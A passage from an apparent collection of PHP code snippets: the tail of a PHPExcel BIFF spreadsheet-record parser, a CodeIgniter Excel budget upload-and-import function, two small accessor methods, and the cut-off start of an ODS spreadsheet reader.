$this->_GetIEEE754($this->_GetInt4d($this->_data, $tmppos + 2));\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\tif ($this->_isDate($tmppos-4)) {\n\t\t\t\t\t\t\t\tlist($string, $raw) = $this->_createDate($numValue);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$raw = $numValue;\n\t\t\t\t\t\t\t\tif (isset($this->_columnsFormat[$colFirst + $i + 1])){\n\t\t\t\t\t\t\t\t\t$this->_curformat = $this->_columnsFormat[$colFirst+ $i + 1];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$string = sprintf($this->_curformat, $numValue *\n\t\t\t\t\t\t\t\t\t$this->_multiplier);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\t//$this->_addcell($row, $colFirst + $i, $string, $raw);\n\t\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($colFirst + $i, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\t\tif (PHPExcel_Shared_Date::isDateTimeFormatCode($this->_xf[$xfindex]['numberformat']['code'])) {\n\t\t\t\t\t\t\t\t\t$numValue = (int) PHPExcel_Shared_Date::ExcelToPHP($numValue);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//$sheet->setCellValueByColumnAndRow($colFirst + $i, $row + 1, $string);\n\t\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($colFirst + $i, $row + 1, $numValue);\n\t\t\t\t\t\t\t$tmppos += 6;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_NUMBER:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * NUMBER\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell that contains a\n\t\t\t\t\t\t * floating-point value.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t// offset 4; size: 2; index to XF record\n\t\t\t\t\t\t$xfindex = $this->_GetInt2d($recordData, 4);\n\n\t\t\t\t\t\t$numValue = $this->_createNumber($spos);\n\t\t\t\t\t\t/*\n\t\t\t\t\t\tif ($this->_isDate($spos)) {\n\t\t\t\t\t\t\t$numValue = $this->_createNumber($spos);\n\t\t\t\t\t\t\tlist($string, $raw) = $this->_createDate($numValue);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (isset($this->_columnsFormat[$column + 1])) {\n\t\t\t\t\t\t\t\t$this->_curformat = $this->_columnsFormat[$column + 1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$raw = $this->_createNumber($spos);\n\t\t\t\t\t\t\t$string = sprintf($this->_curformat, $raw * $this->_multiplier);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\tif (PHPExcel_Shared_Date::isDateTimeFormatCode($this->_xf[$xfindex]['numberformat']['code'])) {\n\t\t\t\t\t\t\t\t$numValue = (int) PHPExcel_Shared_Date::ExcelToPHP($numValue);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//$this->_addcell($row, $column, $string, $raw);\n\t\t\t\t\t\t//$sheet->setCellValueByColumnAndRow($column, $row + 1, $string);\n\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, $numValue);\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_FORMULA:\n\t\t\t\t\tcase self::XLS_Type_FORMULA2:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * FORMULA\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record contains the token array and the result of a\n\t\t\t\t\t\t * formula cell.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t// offset: 0; size: 2; row index\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t// offset: 2; size: 2; col index\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t// offset: 4; size: 2; XF index\n\t\t\t\t\t\t$xfindex = ord($this->_data[$spos + 4]) | ord($this->_data[$spos + 5]) << 8;\n\n\t\t\t\t\t\t// offset: 6; size: 8; result of the formula\n\t\t\t\t\t\tif ((ord($this->_data[$spos + 6]) == 0) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 12]) == 255) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 13]) == 255)) {\n\t\t\t\t\t\t\t//String formula. Result follows in appended STRING record\n\t\t\t\t\t\t\t$this->_formula_result = 'string';\n\t\t\t\t\t\t\t$soff = $spos + $length;\n\t\t\t\t\t\t\t$scode = ord($this->_data[$soff]) | ord($this->_data[$soff + 1])<<8;\n\t\t\t\t\t\t\t$sopt = ord($this->_data[$soff + 6]);\n\t\t\t\t\t\t\t// only reads byte strings...\n\t\t\t\t\t\t\tif ($scode == self::XLS_Type_STRING && $sopt == '0') {\n\t\t\t\t\t\t\t\t$slen = ord($this->_data[$soff + 4]) | ord($this->_data[$soff + 5]) << 8;\n\t\t\t\t\t\t\t\t$string = substr($this->_data, $soff + 7, ord($this->_data[$soff + 4]) | ord($this->_data[$soff + 5]) << 8);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$string = 'NOT FOUND';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$raw = $string;\n\n\t\t\t\t\t\t} elseif ((ord($this->_data[$spos + 6]) == 1) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 12]) == 255) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 13]) == 255)) {\n\t\t\t\t\t\t\t//Boolean formula. Result is in +2; 0=false,1=true\n\t\t\t\t\t\t\t$this->_formula_result = 'boolean';\n\t\t\t\t\t\t\t$raw = ord($this->_data[$spos + 8]);\n\t\t\t\t\t\t\tif ($raw) {\n\t\t\t\t\t\t\t\t$string = \"TRUE\";\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$string = \"FALSE\";\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} elseif ((ord($this->_data[$spos + 6]) == 2) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 12]) == 255) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 13]) == 255)) {\n\t\t\t\t\t\t\t//Error formula. Error code is in +2\n\t\t\t\t\t\t\t$this->_formula_result = 'error';\n\t\t\t\t\t\t\t$raw = ord($this->_data[$spos + 8]);\n\t\t\t\t\t\t\t$string = 'ERROR:'.$raw;\n\n\t\t\t\t\t\t} elseif ((ord($this->_data[$spos + 6]) == 3) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 12]) == 255) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 13]) == 255)) {\n\t\t\t\t\t\t\t//Formula result is a null string\n\t\t\t\t\t\t\t$this->_formula_result = 'null';\n\t\t\t\t\t\t\t$raw = '';\n\t\t\t\t\t\t\t$string = '';\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// forumla result is a number, first 14 bytes like _NUMBER record\n\t\t\t\t\t\t\t$string = $this->_createNumber($spos);\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t$this->_formula_result = 'number';\n\t\t\t\t\t\t\tif ($this->_isDate($spos)) {\n\t\t\t\t\t\t\t\t$numValue = $this->_createNumber($spos);\n\t\t\t\t\t\t\t\tlist($string, $raw) = $this->_createDate($numValue);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif (isset($this->_columnsFormat[$column + 1])){\n\t\t\t\t\t\t\t\t\t$this->_curformat = $this->_columnsFormat[$column + 1];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$raw = $this->_createNumber($spos);\n\t\t\t\t\t\t\t\t$string = sprintf($this->_curformat, $raw * $this->_multiplier);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// save the raw formula tokens for end user interpretation\n\t\t\t\t\t\t// Excel stores as a token record\n\t\t\t\t\t\t$this->_rectype = 'formula';\n\t\t\t\t\t\t// read formula record tokens ...\n\t\t\t\t\t\t$tokenlength = ord($this->_data[$spos + 20]) | ord($this->_data[$spos + 21]) << 8;\n\t\t\t\t\t\tfor ($i = 0; $i < $tokenlength; $i++) {\n\t\t\t\t\t\t\t$this->_formula[$i] = ord($this->_data[$spos + 22 + $i]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\tif (PHPExcel_Shared_Date::isDateTimeFormatCode($this->_xf[$xfindex]['numberformat']['code'])) {\n\t\t\t\t\t\t\t\t$string = (int) PHPExcel_Shared_Date::ExcelToPHP($string);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//$this->_addcell($row, $column, $string, $raw);\n\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, $string);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// offset: 14: size: 2; option flags, recalculate always, recalculate on open etc.\n\t\t\t\t\t\t// offset: 16: size: 4; not used\n\t\t\t\t\t\t// offset: 20: size: variable; formula structure\n\t\t\t\t\t\t// WORK IN PROGRESS: TRUE FORMULA SUPPORT\n\t\t\t\t\t\t// resolve BIFF8 formula tokens into human readable formula\n\t\t\t\t\t\t// so it can be added as formula\n\t\t\t\t\t\t// $formulaStructure = substr($recordData, 20);\n\t\t\t\t\t\t// $formulaString = $this->_getFormulaStringFromStructure($formulaStructure); // get human language\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_BOOLERR:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * BOOLERR\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a Boolean value or error value\n\t\t\t\t\t\t * cell.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t// offset: 0; size: 2; row index\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t// offset: 2; size: 2; column index\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t// offset: 4; size: 2; index to XF record\n\t\t\t\t\t\t$xfindex = $this->_GetInt2d($recordData, 4);\n\t\t\t\t\t\t// offset: 6; size: 1; the boolean value or error value\n\t\t\t\t\t\t$value = ord($recordData[6]);\n\t\t\t\t\t\t// offset: 7; size: 1; 0=boolean; 1=error\n\t\t\t\t\t\t$isError = ord($recordData[7]);\n\t\t\t\t\t\tif (!$isError) {\n\t\t\t\t\t\t\t$sheet->getCellByColumnAndRow($column, $row + 1)->setValueExplicit((bool) $value, PHPExcel_Cell_DataType::TYPE_BOOL);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_ROW:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * ROW\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record contains the properties of a single row in a\n\t\t\t\t\t\t * sheet. Rows and cells in a sheet are divided into blocks\n\t\t\t\t\t\t * of 32 rows.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!$this->_readDataOnly) {\n\t\t\t\t\t\t\t// offset: 0; size: 2; index of this row\n\t\t\t\t\t\t\t$r = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\t\t// offset: 2; size: 2; index to column of the first cell which is described by a cell record\n\t\t\t\t\t\t\t// offset: 4; size: 2; index to column of the last cell which is described by a cell record, increased by 1\n\t\t\t\t\t\t\t// offset: 6; size: 2;\n\t\t\t\t\t\t\t\t// bit: 14-0; mask: 0x7FF; height of the row, in twips = 1/20 of a point\n\t\t\t\t\t\t\t\t$height = (0x7FF & $this->_GetInt2d($recordData, 6)) >> 0;\n\t\t\t\t\t\t\t\t// bit: 15: mask: 0x8000; 0 = row has custom height; 1= row has default height\n\t\t\t\t\t\t\t\t$useDefaultHeight = (0x8000 & $this->_GetInt2d($recordData, 6)) >> 15;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif (!$useDefaultHeight) {\n\t\t\t\t\t\t\t\t\t$sheet->getRowDimension($r + 1)->setRowHeight($height / 20);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// offset: 8; size: 2; not used\n\t\t\t\t\t\t\t// offset: 10; size: 2; not used in BIFF5-BIFF8\n\t\t\t\t\t\t\t// offset: 12; size: 4; option flags and default row formatting\n\t\t\t\t\t\t\t\t// bit: 2-0: mask: 0x00000007; outline level of the row\n\t\t\t\t\t\t\t\t$level = (0x00000007 & $this->_GetInt4d($recordData, 12)) >> 0;\n\t\t\t\t\t\t\t\t$sheet->getRowDimension($r + 1)->setOutlineLevel($level);\n\t\t\t\t\t\t\t\t// bit: 4; mask: 0x00000010; 1 = outline group start or ends here... and is collapsed\n\t\t\t\t\t\t\t\t$isCollapsed = (0x00000010 & $this->_GetInt4d($recordData, 12)) >> 4;\n\t\t\t\t\t\t\t\t$sheet->getRowDimension($r + 1)->setCollapsed($isCollapsed);\n\t\t\t\t\t\t\t\t// bit: 5; mask: 0x00000020; 1 = row is hidden\n\t\t\t\t\t\t\t\t$isHidden = (0x00000020 & $this->_GetInt4d($recordData, 12)) >> 5;\n\t\t\t\t\t\t\t\t$sheet->getRowDimension($r + 1)->setVisible(!$isHidden);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_DBCELL:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * DBCELL\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record is written once in a Row Block. It contains\n\t\t\t\t\t\t * relative offsets to calculate the stream position of the\n\t\t\t\t\t\t * first cell record for each row. The offset list in this\n\t\t\t\t\t\t * record contains as many offsets as ROW records are\n\t\t\t\t\t\t * present in the Row Block.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_MULBLANK:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * MULBLANK - Multiple BLANK\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell range of empty cells. All\n\t\t\t\t\t\t * cells are located in the same row\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t// offset: 0; size: 2; index to row\n\t\t\t\t\t\t$row = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\t// offset: 2; size: 2; index to first column\n\t\t\t\t\t\t$fc = $this->_GetInt2d($recordData, 2);\n\t\t\t\t\t\t// offset: 4; size: 2 x nc; list of indexes to XF records\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\tfor ($i = 0; $i < $length / 2 - 4; $i++) {\n\t\t\t\t\t\t\t\t$xfindex = $this->_GetInt2d($recordData, 4 + 2 * $i);\n\t\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($fc + $i, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// offset: 6; size 2; index to last column (not needed)\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_LABEL:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * LABEL\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell that contains a string. In\n\t\t\t\t\t\t * BIFF8 it is usually replaced by the LABELSST record.\n\t\t\t\t\t\t * Excel still uses this record, if it copies unformatted\n\t\t\t\t\t\t * text cells to the clipboard.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t$this->_addcell($row, $column, substr($this->_data, $spos + 8,\n\t\t\t\t\t\t\tord($this->_data[$spos + 6]) | ord($this->_data[$spos + 7]) << 8));\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, substr($this->_data, $spos + 8,\n\t\t\t\t\t\t\tord($this->_data[$spos + 6]) | ord($this->_data[$spos + 7]) << 8));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_PROTECT:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * PROTECT - Sheet protection (BIFF2 through BIFF8)\n\t\t\t\t\t\t * if this record is omitted, then it also means no sheet protection\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!$this->_readDataOnly) {\n\t\t\t\t\t\t\t// offset: 0; size: 2;\n\t\t\t\t\t\t\t// bit 0, mask 0x01; sheet protection\n\t\t\t\t\t\t\t$isSheetProtected = (0x01 & $this->_GetInt2d($recordData, 0)) >> 0;\n\t\t\t\t\t\t\tswitch ($isSheetProtected) {\n\t\t\t\t\t\t\t\tcase 0: break;\n\t\t\t\t\t\t\t\tcase 1: $sheet->getProtection()->setSheet(true); break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_PASSWORD:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * PASSWORD - Sheet protection (hashed) password (BIFF2 through BIFF8)\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!$this->_readDataOnly) {\n\t\t\t\t\t\t\t// offset: 0; size: 2; 16-bit hash value of password\n\t\t\t\t\t\t\t$password = strtoupper(dechex($this->_GetInt2d($recordData, 0))); // the hashed password\n\t\t\t\t\t\t\t$sheet->getProtection()->setPassword($password, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_COLINFO:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * COLINFO - Column information\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!$this->_readDataOnly) {\n\t\t\t\t\t\t\t// offset: 0; size: 2; index to first column in range\n\t\t\t\t\t\t\t$fc = $this->_GetInt2d($recordData, 0); // first column index\n\t\t\t\t\t\t\t// offset: 2; size: 2; index to last column in range\n\t\t\t\t\t\t\t$lc = $this->_GetInt2d($recordData, 2); // first column index\n\t\t\t\t\t\t\t// offset: 4; size: 2; width of the column in 1/256 of the width of the zero character\n\t\t\t\t\t\t\t$width = $this->_GetInt2d($recordData, 4);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// offset: 6; size: 2; index to XF record for default column formatting\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// offset: 8; size: 2; option flags\n\t\t\t\t\t\t\t\t// bit: 0; mask: 0x0001; 1= columns are hidden\n\t\t\t\t\t\t\t\t$isHidden = (0x0001 & $this->_GetInt2d($recordData, 8)) >> 0;\n\t\t\t\t\t\t\t\t// bit: 10-8; mask: 0x0700; outline level of the columns (0 = no outline)\n\t\t\t\t\t\t\t\t$level = (0x0700 & $this->_GetInt2d($recordData, 8)) >> 8;\n\t\t\t\t\t\t\t\t// bit: 12; mask: 0x1000; 1 = collapsed\n\t\t\t\t\t\t\t\t$isCollapsed = (0x1000 & $this->_GetInt2d($recordData, 8)) >> 12;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// offset: 10; size: 2; not used\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfor ($i = $fc; $i <= $lc; $i++) {\n\t\t\t\t\t\t\t\t$sheet->getColumnDimensionByColumn($i)->setWidth($width / 256);\n\t\t\t\t\t\t\t\t$sheet->getColumnDimensionByColumn($i)->setVisible(!$isHidden);\n\t\t\t\t\t\t\t\t$sheet->getColumnDimensionByColumn($i)->setOutlineLevel($level);\n\t\t\t\t\t\t\t\t$sheet->getColumnDimensionByColumn($i)->setCollapsed($isCollapsed);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_DEFCOLWIDTH:\n\t\t\t\t\t\t// offset: 0; size: 2; row index\n\t\t\t\t\t\t$width = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\t$sheet->getDefaultColumnDimension()->setWidth($width);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_DEFAULTROWHEIGHT:\n\t\t\t\t\t\t// offset: 0; size: 2; option flags\n\t\t\t\t\t\t// offset: 2; size: 2; default height for unused rows, (twips 1/20 point)\n\t\t\t\t\t\t$height = $this->_GetInt2d($recordData, 2);\n\t\t\t\t\t\t$sheet->getDefaultRowDimension()->setRowHeight($height / 20);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_BLANK:\n\t\t\t\t\t\t// offset: 0; size: 2; row index\n\t\t\t\t\t\t$row = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\t// offset: 2; size: 2; col index\n\t\t\t\t\t\t$col = $this->_GetInt2d($recordData, 2);\n\t\t\t\t\t\t// offset: 4; size: 2; XF index\n\t\t\t\t\t\t$xfindex = $this->_GetInt2d($recordData, 4);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($col, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_SHEETPR:\n\t\t\t\t\t\t// offset: 0; size: 2\n\t\t\t\t\t\t// bit: 6; mask: 0x0040; 0 = outline buttons above outline group\n\t\t\t\t\t\t$isSummaryBelow = (0x0040 & $this->_GetInt2d($recordData, 0)) >> 6;\n\t\t\t\t\t\t$sheet->setShowSummaryBelow($isSummaryBelow);\n\t\t\t\t\t\t// bit: 7; mask: 0x0080; 0 = outline buttons left of outline group\n\t\t\t\t\t\t$isSummaryRight = (0x0080 & $this->_GetInt2d($recordData, 0)) >> 7;\n\t\t\t\t\t\t$sheet->setShowSummaryRight($isSummaryRight);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_EOF:\n\t\t\t\t\t\t$cont = false;\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t$spos += $length;\n\t\t\t}\n\t\t\tif (!isset($this->_sheets[$this->_sn]['numRows'])){\n\t\t\t\t$this->_sheets[$this->_sn]['numRows'] = $this->_sheets[$this->_sn]['maxrow'];\n\t\t\t}\n\t\t\tif (!isset($this->_sheets[$this->_sn]['numCols'])){\n\t\t\t\t$this->_sheets[$this->_sn]['numCols'] = $this->_sheets[$this->_sn]['maxcol'];\n\t\t\t}\n\t\t}\n\t\t\n\n\t\t/*\n\t\tforeach($this->_boundsheets as $index => $details) {\n\t\t\t$sheet = $excel->getSheet($index);\n\n\t\t\t// read all the columns of all the rows !\n\t\t\t$numrows = $this->_sheets[$index]['numRows'];\n\t\t\t$numcols = $this->_sheets[$index]['numCols'];\n\t\t\tfor ($row = 0; $row < $numrows; $row++) {\n\t\t\t\tfor ($col = 0; $col < $numcols; $col++) {\n\t\t\t\t\t$cellcontent = $cellinfo = null;\n\t\t\t\t\tif (isset($this->_sheets[$index]['cells'][$row][$col])===true) {\n\t\t\t\t\t\t$cellcontent = $this->_sheets[$index]['cells'][$row][$col];\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (isset($this->_sheets[$index]['cellsInfo'][$row][$col])===true) {\n\t\t\t\t\t\t$cellinfo = $this->_sheets[$index]['cellsInfo'][$row][$col];\n\t\t\t\t\t}\n\n\t\t\t\t\t$sheet->setCellValueByColumnAndRow($col, $row + 1,\n\t\t\t\t\t\t$cellcontent);\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\t*/\n\t\treturn $excel;\n\t}", "public function readExcel() {\n $config['upload_path'] = \"./uploads/\";\n $config['allowed_types'] = 'xlsx|xls';\n $config['max_size'] = '25000';\n $config['file_name'] = 'BUDGET-' . date('YmdHis');\n\n $this->load->library('upload', $config);\n\n\n if ($this->upload->do_upload(\"namafile\")) {\n $data = $this->upload->data();\n $file = './uploads/' . $data['file_name'];\n\n //load the excel library\n $this->load->library('excel/phpexcel');\n //read file from path\n $objPHPExcel = PHPExcel_IOFactory::load($file);\n //get only the Cell Collection\n $cell_collection = $objPHPExcel->getActiveSheet()->getCellCollection();\n //extract to a PHP readable array format\n foreach ($cell_collection as $cell) {\n $column = $objPHPExcel->getActiveSheet()->getCell($cell)->getColumn();\n $row = $objPHPExcel->getActiveSheet()->getCell($cell)->getRow();\n $data_value = $objPHPExcel->getActiveSheet()->getCell($cell)->getValue();\n //header will/should be in row 1 only. of course this can be modified to suit your need.\n if ($row == 1) {\n $header[$row][$column] = $data_value;\n } else {\n $arr_data[$row][$column] = $data_value;\n }\n }\n // BudgetCOA, Year, BranchID, BisUnitID, DivisionID, BudgetValue, CreateDate, CreateBy, BudgetOwnID, BudgetUsed, Status, Is_trash\n $data = '';\n $flag = 1;\n $date = date('Y-m-d');\n $by = $this->session->userdata('user_id');\n\n foreach ($arr_data as $key => $value) {\n if (!empty($value[\"F\"]) && $value[\"F\"] != \"-\" && $value[\"F\"] != \"\" && !empty($value[\"A\"])) {\n $this->Budget_mdl->simpan($value[\"A\"], $value[\"B\"], $value[\"D\"], $value[\"E\"], $value[\"F\"]);\n }\n }\n\n // $this->Budget_mdl->simpanData($data);\t\n } else {\n $this->session->set_flashdata('msg', $this->upload->display_errors());\n }\n echo json_encode(TRUE);\n }", "public function getWorkbook() {\n\t\treturn $this->getReference();\n\t}", "protected function pagePath()\n {\n if (! $this->timestamp) {\n throw new Exception('pagePath(): timestamp not set');\n }\n\n return $this->notebook->getPath($this->timestamp.'.csv');\n }", "private function read_spreadsheet_content() {\n if (!$this->unzip())\n return false;\n\n\n\n $content = file_get_contents($this->content_xml);\n\n\n if (Configure::read('App.encoding') == 'CP1251') {\n // debug('content::utf8->cp1251');\n $content = iconv('utf8', 'cp1251', $content);\n }\n\n /*\n * Spredsheet part\n */\n list($ods['before'], $tmp) = explode('<office:spreadsheet>', $content);\n list($ods['office:spreadsheet'], $ods['after']) = explode('</office:spreadsheet>', $tmp);\n\n /*\n * named ranges\n */\n $ods['named-expression'] = array();\n\n if (strpos($ods['office:spreadsheet'], '<table:named-expressions>') !== false) {\n list($ods['table:table'], $tmp) = explode('<table:named-expressions>', $ods['office:spreadsheet']);\n $ods['table:named-expressions'] = current(explode('</table:named-expressions>', $tmp));\n\n $expr = explode('<table:named-range ', $ods['table:named-expressions']);\n $ods['table:named-expressions_content'] = $ods['table:named-expressions'];\n array_shift($expr);\n $ods['table:named-expressions'] = array();\n\n\n $expr_id = 1;\n foreach ($expr as $r) {\n $r = '<table:named-range ' . $r;\n $expr_tag = $this->tag_attr($r);\n\n if 